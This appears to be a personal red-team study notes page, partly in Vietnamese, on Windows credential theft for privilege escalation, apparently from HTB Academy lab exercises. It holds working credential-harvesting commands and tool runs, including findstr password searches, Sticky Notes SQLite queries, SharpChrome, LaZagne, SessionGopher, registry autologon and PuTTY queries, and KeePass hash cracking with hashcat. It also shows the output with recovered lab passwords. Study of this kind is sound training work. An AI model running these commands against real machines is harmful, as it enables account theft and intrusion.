> For the complete documentation index, see [llms.txt](https://duc193.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://duc193.gitbook.io/notes/redteam/window-privilege-escalation/credential-theft.md). # Credential Theft Ưu tiên dùng WinPeas trước Credential Hunting Search file có password ```shellscript findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml ``` Chrome Dictionary Files ```shellscript gc 'C:\Users\htb-student\AppData\Local\Google\Chrome\User Data\Default\Custom Dictionary.txt' | Select-String password ``` Powershell history 
(Get-PSReadLineOption).HistorySavePath
gc (Get-PSReadLineOption).HistorySavePath # read
Sticky Notes Passwords File sqlite thường nằm ở ``` C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite ``` Có các file như ```powershell PS C:\htb> ls Directory: C:\Users\htb-student\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 5/25/2021 11:59 AM 20480 15cbbc93e90a4d56bf8d9a29305b8981.storage.session -a---- 5/25/2021 11:59 AM 982 Ecs.dat -a---- 5/25/2021 11:59 AM 4096 plum.sqlite -a---- 5/25/2021 11:59 AM 32768 plum.sqlite-shm -a---- 5/25/2021 12:00 PM 197792 plum.sqlite-wal ``` Read : ```powershell PS C:\htb> Set-ExecutionPolicy Bypass -Scope Process Execution Policy Change The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose you to the security risks described in the about_Execution_Policies help topic at https:/go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy? [Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "N"): A PS C:\htb> cd .\PSSQLite\ PS C:\htb> Import-Module .\PSSQLite.psd1 PS C:\htb> $db = 'C:\Users\htb-student\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite' PS C:\htb> Invoke-SqliteQuery -Database $db -Query "SELECT Text FROM Note" | ft -wrap Text ---- \id=de368df0-6939-4579-8d38-0fda521c9bc4 vCenter \id=e4adae4c-a40b-48b4-93a5-900247852f96 \id=1a44a631-6fff-4961-a4df-27898e9e1e65 root:Vc3nt3R_adm1n! \id=c450fc5f-dc51-4412-b4ac-321fd41c522a Thycotic demo tomorrow at 10am ``` Cmdkey Saved Credentials Listing Saved Credentials ```powershell C:\htb> cmdkey /list Target: LegacyGeneric:target=TERMSRV/SQL01 Type: Generic User: inlanefreight\bob ``` Nó đã được lưu trong Remote Desktop Connection Chỉ cần connect lại hoặc runas là k cần dùng mk nữa ```powershell PS C:\htb> runas /savecred /user:inlanefreight\bob "COMMAND HERE" ``` ## Browser Credentials Dùng [SharpChrome](https://github.com/GhostPack/SharpDPAPI) ```powershell PS C:\htb> .\SharpChrome.exe logins /unprotect __ _ (_ |_ _. ._ ._ / |_ ._ _ ._ _ _ __) | | (_| | |_) \_ | | | (_) | | | (/_ | v1.7.0 [*] Action: Chrome Saved Logins Triage [*] Triaging Chrome Logins for current user [*] AES state key file : C:\Users\bob\AppData\Local\Google\Chrome\User Data\Local State [*] AES state key : 5A2BF178278C85E70F63C4CC6593C24D61C9E2D38683146F6201B32D5B767CA0 --- Chrome Credential (Path: C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Login Data) --- file_path,signon_realm,origin_url,date_created,times_used,username,password C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Login Data,https://vc01.inlanefreight.local/,https://vc01.inlanefreight.local/ui,4/12/2021 5:16:52 PM,13262735812597100,bob@inlanefreight.local,Welcome1 ``` Password Managers (**KeePass)** ------------------- ```powershell nduc193@htb[/htb]$ python2.7 keepass2john.py ILFREIGHT_Help_Desk.kdbx ILFREIGHT_Help_Desk:$keepass$*2*60000*222*f49632ef7dae20e5a670bdec2365d5820ca1718877889f44e2c4c202c62f5fd5*2e8b53e1b11a2af306eb8ac424110c63029e03745d3465cf2e03086bc6f483d0*7df525a2b843990840b249324d55b6ce*75e830162befb17324d6be83853dbeb309ee38475e9fb42c1f809176e9bdf8b8*63fdb1c4fb1dac9cb404bd15b0259c19ec71a8b32f91b2aaaaf032740a39c154 ``` ```powershell nduc193@htb[/htb]$ hashcat -m 13400 keepass_hash /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt hashcat (v6.1.1) starting... Dictionary cache hit: * Filename..: /usr/share/wordlists/rockyou.txt * Passwords.: 14344385 * Bytes.....: 139921507 * Keyspace..: 14344385 $keepass$*2*60000*222*f49632ef7dae20e5a670bdec2365d5820ca1718877889f44e2c4c202c62f5fd5*2e8b53e1b11a2af306eb8ac424110c63029e03745d3465cf2e03086bc6f483d0*7df525a2b843990840b249324d55b6ce*75e830162befb17324d6be83853dbeb309ee38475e9fb42c1f809176e9bdf8b8*63fdb1c4fb1dac9cb404bd15b0259c19ec71a8b32f91b2aaaaf032740a39c154:panther1 Session..........: hashcat Status...........: Cracked Hash.Name........: KeePass 1 (AES/Twofish) and KeePass 2 (AES) Hash.Target......: $keepass$*2*60000*222*f49632ef7dae20e5a670bdec2365d...39c154 Time.Started.....: Fri Aug 6 11:17:47 2021 (22 secs) Time.Estimated...: Fri Aug 6 11:18:09 2021 (0 secs) Guess.Base.......: File (/opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 276 H/s (4.79ms) @ Accel:1024 Loops:16 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests Progress.........: 6144/14344385 (0.04%) Rejected.........: 0/6144 (0.00%) Restore.Point....: 0/14344385 (0.00%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:59984-60000 Candidates.#1....: 123456 -> iheartyou Started: Fri Aug 6 11:17:45 2021 Stopped: Fri Aug 6 11:18:11 2021 ``` ## LaZagne Dùng tool [**LaZagne**](https://github.com/AlessandroZ/LaZagne) để hunting password ```powershell PS C:\htb> .\lazagne.exe all |====================================================================| | | | The LaZagne Project | | | | ! BANG BANG ! | | | |====================================================================| ########## User: jordan ########## ------------------- Winscp passwords ----------------- [+] Password found !!! URL: transfer.inlanefreight.local Login: root Password: Summer2020! Port: 22 ------------------- Credman passwords ----------------- [+] Password found !!! URL: dev01.dev.inlanefreight.local Login: jordan_adm Password: ! Q A Z z a q 1 [+] 2 passwords have been found. For more information launch it again with the -v option elapsed time = 5.50499987602 ``` ## SessionGopher Dùng [SessionGopher](https://github.com/Arvanaghi/SessionGopher) để extract saved PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP credentials. ```powershell PS C:\htb> Import-Module .\SessionGopher.ps1 PS C:\Tools> Invoke-SessionGopher -Target WINLPE-SRV01 o_ / ". SessionGopher ," _-" ," m m ..+ ) Brandon Arvanaghi `m..m Twitter: @arvanaghi | arvanaghi.com [+] Digging on WINLPE-SRV01... WinSCP Sessions Source : WINLPE-SRV01\htb-student Session : Default%20Settings Hostname : Username : Password : PuTTY Sessions Source : WINLPE-SRV01\htb-student Session : nix03 Hostname : nix03.inlanefreight.local SuperPuTTY Sessions Source : WINLPE-SRV01\htb-student SessionId : NIX03 SessionName : NIX03 Host : nix03.inlanefreight.local Username : srvadmin ExtraArgs : Port : 22 Putty Session : Default Settings ``` ## Autologon ```powershell C:\htb>reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon AutoRestartShell REG_DWORD 0x1 Background REG_SZ 0 0 0 AutoAdminLogon REG_SZ 1 DefaultUserName REG_SZ htb-student DefaultPassword REG_SZ HTB_@cademy_stdnt! ``` ## Putty ```powershell PS C:\htb> reg query HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\kali%20ssh ``` ```powershell PS C:\htb> reg query HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\kali%20ssh HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\kali%20ssh Present REG_DWORD 0x1 HostName REG_SZ LogFileName REG_SZ putty.log ProxyDNS REG_DWORD 0x1 ProxyLocalhost REG_DWORD 0x0 ProxyMethod REG_DWORD 0x5 ProxyHost REG_SZ proxy ProxyPort REG_DWORD 0x50 ProxyUsername REG_SZ administrator ProxyPassword REG_SZ 1_4m_th3_@cademy_4dm1n! ``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://duc193.gitbook.io/notes/redteam/window-privilege-escalation/credential-theft.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.